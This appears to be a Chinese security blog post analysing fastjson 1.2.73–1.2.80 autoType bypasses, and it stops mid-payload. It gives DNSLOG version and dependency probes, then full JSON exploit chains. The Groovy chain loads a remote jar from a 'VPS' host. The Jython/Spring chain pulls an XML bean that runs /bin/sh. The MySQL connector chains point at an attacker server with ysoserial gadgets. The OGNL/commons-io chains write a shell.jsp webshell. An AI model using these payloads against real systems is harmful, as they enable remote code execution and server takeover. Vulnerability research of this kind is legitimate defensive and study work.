fastjson 1.2.73-1.2.80漏洞分析

1. 版本探测

结合之前1.2.24、1.2.47、1.2.68、1.2.80不同阶段对autoTypeSupport的绕过,整理如下检测版本的poc

  • <=1.2.24

随便加载一个类,再使用Inet4Address

1
2
3
4
5
6
7
{
"@type": "java.lang.error",
{
"@type": "java.net.Inet4Address",
"val": "DNSLOG"
}
}
  • 1.2.25 ~ 1.2.47
1
2
3
4
5
6
7
8
9
10
11
12
13
[
{
"@type": "java.lang.Class",
"val": "java.lang.Error"
},
{
"@type": "java.lang.Error"
},
{
"@type": "java.net.Inet4Address",
"val": "DNSLOG"
}
]
  • 1.2.48 ~ 1.2.68

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    [
    {
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.ByteArrayOutputStream"
    },
    {
    "@type": "java.io.ByteArrayOutputStream"
    },
    {
    "@type": "java.net.Inet4Address",
    "val": "DNSLOG"
    }
    ]
  • 1.2.69~1.2.80

    • 如果版本为1.2.83,则 21.DNSLOG和22.DNSLOG的dns请求都会收到,如果版本<=1.2.80, 则只能收到第一个dnslog请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.Inet4Address",
"val": "21.DNSLOG"
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.Inet4Address",
"val": "22.DNSLOG"
}
}
]

在1.2.80中,由于进入ThrowableDeserializer反序列化工具类,当Key是message时,抛出异常;而1.2.83中修复了Throwable的相关问题,导致message的key不再具有特殊性,因此可以收到dnslog

1
  • 1.2.83
1
2
3
4
5
6
7
8
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.Inet4Address",
"val": "DNSLOG"
}
}

2. ThrowableDeserializer

当指定@typejava.lang.Exception时,反序列化过程中会指定ThrowableDeserializer为反序列化的工具类

2

接下来,在执行到 checkAutoType方法时,因为传入了Throwable.class作为 expectClass,和1.2.68使用AutoCloseable一样,绕过了AutoTypeSupport的判断

3
4
完成类加载,但是这里由于`cache`是false,因此类并没有像之前`1.2.47`那样,被加到`mappings`中
5

3. 利用链

关于这个漏洞的绕过,1.2.68的思路差不多,不过利用链却不好找,参考浅蓝的分享

3.1 依赖判断

3.1.2 报错回显判断

返回包可以看到报错的大概内容

1
{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"类名"}}
  • 依赖存在,返回 can not cast to char, value : class com.mysql.jdbc.Driver
6
  • 依赖不存在,返回 not close json text, token : }
7

3.1.3 dnslog判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"@type": "java.net.Inet4Address",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": {
"@type": "java.lang.String" {
1: {
"@type": "java.lang.Class",
"val": "com.mysql.jdbc.Driver"
}
},
"country": "DNSLOG"
}
}
}
  • 依赖类存在则会组成 {"1": "com.mysql.jdbc.Driver"}_x.DNSLOG
  • 依赖类不存在,{}_x.DNSLOG
  • 测试中这种格式的dns请求,只在mac上可以成功

3.2 groovy利用链

适用版本:1.2.76~1.2.80

3.2.1 让ProcessingUnit绕过autoType

  • groovy远程类加载的利用链中,分为两部分,第一部分通过CompilationFailedException利用Exception的特性绕过autoType进行反序列化;
  • 在反序列化CompilationFailedException的过程中,由于构造方法存在ProcessingUnit类型的参数,fastjson在生成FieldDeserializer时,完成了类加载,并将生成ProcessingUnit类对应的反序列化工具类加入了ParseConfig.deserializers中;
  • 后续在加载ProcessingUnit进入autoType时,虽然不在mappings的类缓存中,但是在deserializers中有映射的工具类,也可以通过类加载
8

CompilationFailedException类的继承关系

9
1
2
3
4
5
public CompilationFailedException(int phase, ProcessingUnit unit, Throwable cause) {
super(Phases.getDescription(phase) + " failed", cause);
this.phase = phase;
this.unit = unit;
}

按照浅蓝的分享,Poc如下,unit参数是ProcessingUnit类型

1
2
3
4
5
{
"@type": "java.lang.Exception",
"@type": "org.codehaus.groovy.control.CompilationFailedException",
"unit": {}
}

反序列化过程中,获取参数类型对应的反序列化工具类

10

当参数的类型不是内置的一些类型后,使用createJavaBeanDeserializer创建默认的JavaBean的反序列化工具类
并在ParseConfig.deserializers 中添加当前类对应的反序列化工具类的映射

11
12

3.2.2 使用JavaStubCompilationUnit远程类加载

1
2
3
4
5
6
7
8
9
10
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":["http://VPS/a.jar"]
},
"gcl":null,
"destDir": ""
}

groovy创建ClassLoader

1
2
3
4
5
JavaStubCompilationUnit<init> -> super(config, (CodeSource)null, gcl);
CompilationUnit<init> -> super(configuration, loader, (ErrorCollector)null);
ProcessingUnit<init> -> this.setClassLoader(classLoader);
ProcessingUtit#setClassLoader -> this.createClassLoader()

13

添加classpath

a
1
2
3
4
5
6
CompilationUnit<init> -> this.addPhaseOperations();
CompilationUnit#addPhaseOperations -> ASTTransformationVisitor.addPhaseOperations(this);
ASTTransformationVisitor#addPhaseOperations -> addGlobalTransforms(context);
ASTTransformationVisitor#addGlobalTransforms -> doAddGlobalTransforms(context, true);
ASTTransformationVisitor#doAddGlobalTransforms -> addPhaseOperationsForGlobalTransforms(context.getCompilationUnit(), transformNames, isFirstScan);

doAddGlobalTransforms中,GroovyClassLoader在classpath中获取org.codehaus.groovy.transform.ASTTransformation文件内容,将读到的文件内容作为className放入transfromNames

13

继续执行,进入addPhaseOperationsForGlobalTransforms中,使用ProcessingUnit初始化时创建的GroovyClassLoader,遍历transfromNames中的className,并完成类加载和实例化

16
17

3.2.3 poc构造

根据前面类加载的流程,构造的jar包需要满足一下条件触发恶意代码

  • jar文件中需要有/META-INF/services/org.codehaus.groovy.transform.ASTTransformation,文件内容为恶意类的名称
  • jar文件的poc可以使用static代码块或者默认构造方法中
  • jar文件中poc需要使用GroovyASTTransformation的注解

恶意类构造示例

18
1
2
3
4
5
{
"@type": "java.lang.Exception",
"@type": "org.codehaus.groovy.control.CompilationFailedException",
"unit": {}
}
1
2
3
4
5
6
7
8
9
10
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":["http://127.0.0.1:8889/groovyJar.jar"]
},
"gcl":null,
"destDir": ""
}
3.2.3.1 计算器
19
3.2.3.2 回显
  • 实战中也可以构造对应中间回显/内存马进行远程调用
20

3.3 JPython + pgsql + springContext利用链

版本:<=1.2.80 1.2.68-1.2.76之间也可以
依赖类:

  • org.python.antlr.ParseException
  • com.ziclix.python.sql.PyConnection
  • org.postgresql.jdbc.PgConnection
  • org.springframework.context.support.ClassPathXmlApplicationContext

maven:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependency>
<groupId>org.python</groupId>
<artifactId>jython</artifactId>
<version>2.7.0</version>
</dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.22.RELEASE</version>
</dependency>

3.3.1 ParseException

和groovy类似,org.python.antlr.ParseExceptionsetType方法中参数是org.python.core.PyObject类型,在完成一次JSONObject的反序列化后,内存中的ParseConfig.deserializers变量会加入PyObject类,后面的利用中,org.python.core.PyObject类可以绕过autoType

  • ParseException的继承/接口实现关系
21
3.3.1.1 ParseException#setType方法
22

3.3.2 com.ziclix.python.sql.PyConnection

现在可以使用org.python.core.PyObject

  • com.ziclix.python.sql.PyConnection类继承PyObject
  • PyConnection默认构造方法中,参数是java.sql.Connection类型
  • 结合1.2.68中pgsql的利用链,使用org.postgresql.jdbc.PgConnectionClassPathXmlApplicationContext远程加载xml文件
23

3.3.3 Poc根据上面的思路,拼接Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"x": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
"type":{}
},
"y": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type": "org.postgresql.jdbc.PgConnection",
"hostSpecs": [
{
"host": "",
"port": 0
}
],
"user": "pgsql",
"database": "pgsql",
"info": {
"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg": "http://127.0.0.1:8889/1.xml"
},
"url": ""
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="work" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>open /System/Applications/Calculator.app</value>
</list>
</constructor-arg>
<property name="do" value="#{work.start()}"></property>
</bean>
</beans>

但是当我使用上面的poc时,fastjson在1.2.76以下就能用了,会在org.python.antlr.ParseException#setType传入参数时报错,因此这里有个兼容的poc,分析在最后面的 4.1 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
{
"a": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"b": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
},
"c": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type": "org.postgresql.jdbc.PgConnection",
"hostSpecs": [
{
"host": "",
"port": 0
}
],
"user": "user",
"database": "test",
"info": {
"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg": "http://127.0.0.1:8889/bean.xml"
},
"url": ""
}
}
}
24

3.4 JPython + mysql Connection利用链

适用版本:<=1.2.80
依赖类:

  • org.python.antlr.ParseException
  • com.ziclix.python.sql.PyConnection
  • mysql-Connection版本5.1.11 - 5.1.49: com.mysql.jdbc.JDBC4Connection
  • mysql-Connection版本6.0.2、6.0.3:com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection
  • mysql-Connection版本8.0.19:com.mysql.cj.jdbc.ha.ReplicationMySQLConnectioncom.mysql.cj.jdbc.ha.LoadBalancedConnectionProxycom.mysql.cj.conf.url.ReplicationConnectionUrl

实现原理和JPython + pgsql一样;关于mysql利用链的分析,参考1.2.68漏洞分析;

3.4.1 mysql Connection 5.1.11-5.1.49反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
{
"x": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
},
"c": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "VPS",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsBeanutils1_open /System/Applications/Calculator.app",
"password": "none",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "name",
"url": ""
}
}
}
25

也可以结合tomcat回显

26

3.4.2 mysql Connection 6.0.2/6.0.3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"x": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
},
"c": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString":{
"url":"jdbc:mysql://VPS:3306/name?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsBeanutils1_open /System/Applications/Calculator.app"
}
}
}
}
}

3.4.3 mysql Connection 8.0.19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
{
"x": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
},
"c": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": ""
}
],
"slaves": [],
"properties": {
"host": "VPS",
"port": 3306,
"user": "yso_CommonsBeanutils1_open /System/Applications/Calculator.app",
"dbname": "root",
"password": "root",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
}
}
27

3.5 OGNL + Commons-io

适用版本:1.2.73~1.2.80

3.5.1 写文件

和3.2、3.3的思路类似,通过ognl.OgnlException为入口点,其中的setXXX方法的参数类型为ognl.Evaluation类型,一层一层的将构造方法中参数类型的类加入到缓存中,绕过autoTypeSupport,最终在OgnlParser的构造方法参数类型为InputStream,结合1.2.68中commons-io的利用链,写入或读取文件

1
2
3
4
5
ognl.OgnlException 继承 java.lang.Exception
- ognl.OgnlException中setEvaluation方法的参数是ognl.Evaluation类型
- ognl.Evaluation的构造方法中,参数node的类型是ognl.SimpleNode;ognl.ASTMethod是ognl.SimpleNode的子类
- ognl.ASTMethod的构造方法中,参数p的类型是ognl.OgnlParser
- ognl.OgnlParser的构造方法中,参数stream的类型是InputStream类型
3.5.1.1 WriteOutputStream的构造方法

运行poc,这里又出现了1.2.68分析commons-io写入利用链时一样的问题,WriterOutputStream使用了带有Charset的构造方法;导致反序列化失败,文件内容无法写入~

28

后来在windows上,是正常的,如图,windows平台clazz.getDeclaredConstructors获取的constructors数组中,构造方法public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.lang.String,int,boolean)在数组的前面,因此不会出现charset;

29
30
3.5.1.2 Poc

WriterOutputStream中共有三个参数为4个数量的构造方法,在mac平台上,不稳定的使用了其中一个,构造方法第二个参数的类型分别是String、Charset、CharsetDecoder,其中

  • String类型的参数可以直接构造

  • CharsetDecoder类型的参数,可以使用com.alibaba.fastjson.util.UTF8Decoder来构造

  • Charset类型的参数,fastjson内置使用MiscCodec工具类来解析,自动调用Charset.forName(strVal)获取Charset

    1
    2
    3
    public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.lang.String,int,boolean)
    public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean)
    public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.Charset,int,boolean)

    因此这里有三个Poc,大家可以fuzz,不过大部分情况下遇到的都是直接构造String类型的charsetName即可

  • WriterOutputStream使用包含charsetName的构造方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    {
    "x": {
    "@type": "java.lang.Exception",
    "@type": "ognl.OgnlException"
    },
    "y": {
    "@type": "java.lang.Class",
    "val": {
    "@type": "com.alibaba.fastjson.JSONObject",
    {
    "@type": "java.lang.String"
    "@type": "ognl.OgnlException",
    "_evaluation": ""
    }
    },
    "z": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.CharSequenceReader",
    "charSequence": {
    "@type": "java.lang.String""something>8192"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "branch": {
    "@type": "org.apache.commons.io.output.WriterOutputStream",
    "writer": {
    "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
    "file": "D:/tmp/shell.jsp",
    "encoding": "UTF-8",
    "append": false
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024,
    "writeImmediately": true
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    "u": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.input"
    },
    "branch": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.branch"
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    "v": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.input"
    },
    "branch": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.branch"
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    "w": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.input"
    },
    "branch": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.branch"
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    }
  • WriteOutputStream使用包含decoder的构造方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    {
    "x": {
    "@type": "java.lang.Exception",
    "@type": "ognl.OgnlException"
    },
    "y": {
    "@type": "java.lang.Class",
    "val": {
    "@type": "com.alibaba.fastjson.JSONObject",
    {
    "@type": "java.lang.String"
    "@type": "ognl.OgnlException",
    "_evaluation": ""
    }
    },
    "z": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.CharSequenceReader",
    "charSequence": {
    "@type": "java.lang.String""something > 8192"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "branch": {
    "@type": "org.apache.commons.io.output.WriterOutputStream",
    "writer": {
    "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
    "file": "/tmp/common-w.jsp",
    "encoding": "UTF-8",
    "append": false
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024,
    "writeImmediately": true
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "decoder": {
    "@type": "com.alibaba.fastjson.util.UTF8Decoder"
    },
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    "u": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.input"
    },
    "branch": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.branch"
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    "v": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.input"
    },
    "branch": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.branch"
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    "w": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.input"
    },
    "branch": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.branch"
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    }
    31
  • WriteOutputStream使用包含charset的构造方法,只需要将charsetName修改位charset即可

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    {
    "x": {
    "@type": "java.lang.Exception",
    "@type": "ognl.OgnlException"
    },
    "y": {
    "@type": "java.lang.Class",
    "val": {
    "@type": "com.alibaba.fastjson.JSONObject",
    {
    "@type": "java.lang.String"
    "@type": "ognl.OgnlException",
    "_evaluation": ""
    }
    },
    "z": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
